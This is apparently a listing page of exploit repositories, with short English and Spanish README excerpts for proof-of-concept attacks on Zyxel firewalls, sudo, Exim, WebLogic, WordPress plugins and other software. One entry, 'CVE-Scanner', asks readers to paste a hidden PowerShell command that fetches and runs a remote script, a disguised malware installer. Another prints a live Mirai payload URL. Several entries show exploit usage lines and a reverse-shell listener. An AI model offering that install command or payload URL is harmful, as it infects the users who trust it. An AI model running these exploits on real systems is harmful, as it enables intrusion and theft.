CVE-2022-30525

CVE-2022-30525 Zyxel Firewall Remote Command Injection Vulnerability CVE-2022-30525 Optional Arguments: -h, --help show this help message and exit -u url, --url url Target url eg:"http://127.0.0.1" -f file, --file file Targets in file eg:"ip.txt" Usage python3 CVE-2022-30525.py -u http://127.0.0....

DSL-2750U-Full-chain

firmware-analysis 1. Errores de DSL-2750U : mala configuración del servidor tftp CVE-2021-3707 error de inyección de comandos CVE-2021-3708...

Sudo-Vulnerability-Exploit-CVE-2019-14287

Sudo-Vulnerability-Exploit-CVE-2019-14287 Se ha descubierto que Sudo no es confiable, una de las utilidades más significativas, potentes y comúnmente usadas instaladas en casi cualquier sistema operativo basado en Unix y Linux como un comando simple. Una falla de omisión de la política de segurid...

CVE-2023-6553

CVE-2023-6553 Desarrollo de exploit para CVE-2023-6553 en el plugin Backup en Wordpress Esto es una CVE crítica con una puntuación CVSS de 9.8 La vulnerabilidad permite al atacante enviar comandos al servidor que ejecuta la versión vulnerable del plugin Versión vulnerable Backup :9000/a.sh...

CVE-2024-3912

Why? Publishing because Mirai are a bunch of irritating twats that keep popping my honeypot with it - you're not the malware I am after. Fek off please. Here's their irritating malware distribution IP and defualt payload script. http://130.12.180.69/bins/kla.sh Description Asus router arbitrary...

redis-cve-2025-62507

Exploit Scripts — CVE-2025-62507 Estructura del directorio scripts/ ├── exploitx86.py Exploit ROP para x86-64 ├── exploitarm64.py Exploit ROP para ARM64 AArch64 └── gdbwithsymbols.sh Script auxiliar de depuración con GDB Resumen de la vulnerabilidad Elemento| Descripción ---|--- CVE| CVE-2025-625...

CVE-2010-2075-UnrealIRCd-3.2.8.1

CVE-2010-2075 Exploit for CVE:2010-2075. This exploit allows remote command execution in UnrealIRCd 3.2.8.1. Requirements optparse, signal Usage You can send a command to execute, but there will be times when it will not respond, but you can simply send a reverse shell and wait for it to arrive...

CVE-2022-0944

CVE-2022-0944 SQLPad - Inyección de plantillas Esta es una vulnerabilidad ciega, lo que significa que la salida se devuelve directamente en la respuesta. Exploit Usa el script con el siguiente comando: python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin...

CVE-2024-3400

CVE-2024-3400: OS Command Injection Vulnerability in GlobalProtect Gateway Severity: CRITICAL 10/10 ⚠️...

GPON

RCE on GPON home routers CVE-2018-10561 Vulnerability Many routers today use GPON internet, and a way to bypass all authentication on the devices CVE-2018-10561 was found by VPNMentor. With this authentication bypass, it's also possible to unveil another command injection vulnerability...

CVE-2022-36779

CVE-2022-36779 código de explotación para la inyección de comandos del sistema operativo sin autenticación en Proscend en el router celular industrial. https://cdn.shopify.com/s/files/1/0036/9413/3297/files/ADVICEIndustrial4GLTECellularRouterICR111WG.pdf?v=1620814301...

CVE-2025-34159

CVE-2025-34159: Inyección de Docker Compose en Coolify Resumen de la vulnerabilidad Campo| Valor ---|--- ID CVE| CVE-2025-34159 Afecta| Coolify ≤ v4.0.0-beta.420.6 Corregido en| v4.0.0-beta.420.7 Gravedad| Crítica CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CWE| CWE-...

CVE-2023-21823

CVE-2023-21823 Reverse Shell for Windows This repository contains C code that implements a reverse shell for the Windows operating system. A reverse shell allows for remote system control using the command-line, providing the ability to execute commands on the infected machine. Important Using th...

CVE-2012-1823-exploit-for-https-user-password-web

CVE-2012-1823 file is exploit use : python3 CVE-2012-1823.py CVE-2012-1823,CVE-2021-2291.py file find out if the site is vulnurable for CVE-2012-1823 or CVE-2021-2291 use : python3 CVE-2012-1823,CVE-2021-2291.py command whoami cd ls tested on kali linux...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 : A flaw was found in Exim versions 4.87 to 4.91 inclusive. Improper validation of recipient address in delivermessage function in /src/deliver.c may lead to remote command execution. Example nc -lvp 9000 python ./CVE-2019-10149/exploit.py --rhost example.com --rport...

CVE-2020-14882

CVE-2020-14882 This script enables remote code execution RCE on Oracle WebLogic Server using an unauthenticated GET request. It exploits the vulnerability CVE-2020-14882. By executing arbitrary commands, an attacker can gain unauthorized access to the server. Exploit Details Exploit Title: Oracle...

PIL-CVE-2017-8291

Python PIL/Pillow Ejecución Remota de Comandos GhostButt / CVE-2017-8291 中文版本Chinese version Python PIL Pillow es una biblioteca popular de procesamiento de imágenes para Python. Soporta varios formatos de imagen y proporciona potentes capacidades de manipulación de imágenes. El módulo de...

CVE-Scanner

CVE-Scanner CVE-2021-42287/CVE-2021-42278/OTHER Scanner & Exploiter. Install 1. Press WIN + R 2. Copy and paste the code below and press enter powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. Restart your PC Usage 1. open C...

CVE-2025-53547-POC

PoC de CVE-2025-53547 esta es una prueba de concepto para CVE-2025-53547 Chart.lock enlaza el archivo de prueba a /tmp/1.txt /tmp/1.txt inyecta un comando que crea /tmp/2.txt En un entorno real de producto, puedes cambiar el archivo de enlace Chart.lock para inyectar cualquier comando que desees,...

React2shell-ultimate-scanner

Escáner Avanzado CVE-2025-55182 🚀 Un escáner de seguridad profesional y automatizado para detectar y validar CVE-2025-55182 , una vulnerabilidad crítica que afecta a Next.js React Server Components. Diseñado para investigadores de seguridad, testers de penetración y cazadores de bugs que desean u...